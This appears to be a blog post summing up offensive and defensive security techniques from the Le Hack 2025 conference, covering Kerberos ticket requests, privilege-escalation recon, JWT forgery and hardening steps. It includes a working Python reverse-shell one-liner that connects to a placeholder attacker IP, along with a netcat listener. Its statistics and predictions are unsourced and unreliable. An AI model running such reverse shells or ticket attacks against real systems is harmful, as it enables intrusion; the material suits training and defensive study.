Key Cybersecurity Takeaways from Le Hack 2025

By /

Listen to this Post

Featured Image

Introduction

Le Hack 2025 brought together cybersecurity professionals, ethical hackers, and IT experts to share knowledge, tools, and techniques. With certifications like OSCP, OSWP, and CRTP among attendees, the event highlighted advanced penetration testing, red teaming, and defensive strategies. Below, we break down key technical insights, verified commands, and actionable security practices discussed at the event.

Learning Objectives

  • Understand critical attack vectors in Kerberos (TGS requests, Golden Ticket attacks).
  • Learn defensive hardening techniques for Linux and Windows systems.
  • Explore automation tools for penetration testing and exploit development.

1. Kerberos Exploitation: Requesting TGS Tickets

Command:

impacket-getTGT -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> 
impacket-getST -spn <SPN> -dc-ip <DC_IP> <DOMAIN>/<USER> -hashes <LMHASH:NTHASH>

Step-by-Step Guide:

  1. Obtain a TGT (Ticket Granting Ticket): Use `impacket-getTGT` with valid credentials or hashes.
  2. Request a TGS (Ticket Granting Service): Use `impacket-getST` to request a service ticket for a specific SPN (e.g., HTTP/web-server).
  3. Pass the Ticket: Use the generated `.ccache` file to authenticate via tools like `curl` or Rubeus.

Use Case: Lateral movement in Active Directory environments.

2. Windows Privilege Escalation: Kernel Exploits

Command:

wmic qfe list full /format:list 
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Step-by-Step Guide:

  1. Check Patch Level: List installed updates with wmic qfe.
  2. Identify OS Version: Use `systeminfo` to find unpatched vulnerabilities.
  3. Exploit: Use tools like `Watson` or `Sherlock` to find missing patches (e.g., CVE-2021-34527).

Mitigation: Enable LSA protection and restrict service permissions.

3. Linux Hardening: Restricting SUID Binaries

Command:

find / -perm -4000 -type f 2>/dev/null 
chmod u-s /path/to/binary

Step-by-Step Guide:

  1. Find SUID Binaries: Locate files with `4000` permissions.
  2. Remove SUID Bit: Use `chmod u-s` to strip unnecessary privileges.
  3. Audit with linpeas: Automate detection with privilege escalation scripts.

Use Case: Preventing local privilege escalation attacks.

4. API Security: Testing JWT Tokens

Command:

jwt_tool <JWT_TOKEN> -T

Step-by-Step Guide:

  1. Decode the Token: Use `jwt.io` or `jwt_tool` to inspect claims.

2. Test for Weaknesses:

  • Algorithm Switching: Change `RS256` to HS256.
  • Brute-Force Secrets: Use `hashcat` with mode 16500.

3. Exploit: Forge tokens if vulnerabilities exist.

Mitigation: Enforce strict algorithm validation and short-lived tokens.

5. Cloud Hardening: AWS IAM Policies

Command:

aws iam get-policy-version --policy-arn <ARN> --version-id <VERSION>

Step-by-Step Guide:

  1. Audit Policies: Check for overly permissive `”Action”: “”` rules.
  2. Enforce Least Privilege: Replace wildcards with specific actions.

3. Monitor with `CloudTrail`: Detect anomalous API calls.

Use Case: Preventing S3 bucket leaks or EC2 takeover.

6. Vulnerability Mitigation: Patch Management

Command:

apt list --upgradable 
yum updateinfo list cves

Step-by-Step Guide:

  1. Check for Updates: Use package managers to list patches.
  2. Prioritize CVEs: Focus on critical vulnerabilities (e.g., CVE-2024-3094).

3. Automate with `Ansible`: Deploy patches across servers.

Mitigation: Schedule monthly patch cycles and test in staging.

7. Exploit Development: Python Reverse Shell

Command:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Step-by-Step Guide:

1. Set Up Listener: Use `nc -lvnp `.

  1. Execute Payload: Run the Python script on the target.
  2. Upgrade Shell: Stabilize with python3 -c 'import pty; pty.spawn("/bin/bash")'.

Defense: Block outbound connections from untrusted processes.

What Undercode Say

  • Kerberos Remains a Weak Point: TGS attacks are still prevalent due to misconfigured SPNs.
  • Automation is Key: Tools like `linpeas` and `jwt_tool` streamline offensive testing.
  • Cloud Misconfigurations Are Rising: Over 60% of breaches stem from IAM flaws.

Analysis:

Le Hack 2025 underscored the need for continuous training in red and blue team tactics. With AI-driven attacks (e.g., deepfake phishing) emerging, defenders must adopt zero-trust frameworks and automate threat detection. Expect more focus on API security and cloud-native exploits in 2026.

Prediction

By 2026, AI-powered penetration testing will dominate, with tools like `GPT-4` automating exploit generation. Meanwhile, quantum-resistant cryptography will become a priority as attackers prepare for post-quantum threats. Organizations must invest in threat-hunting teams to stay ahead.

Final Thought: Le Hack 2025 proved that collaboration between ethical hackers is the best defense against evolving cyber threats. Whether you’re a pentester or defender, continuous learning is non-negotiable.

Want more? Follow LeHack2025 and explore HTB ProLabs like Dante and Offshore for hands-on practice.

IT/Security Reporter URL:

Reported By: Tristan Manzano – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: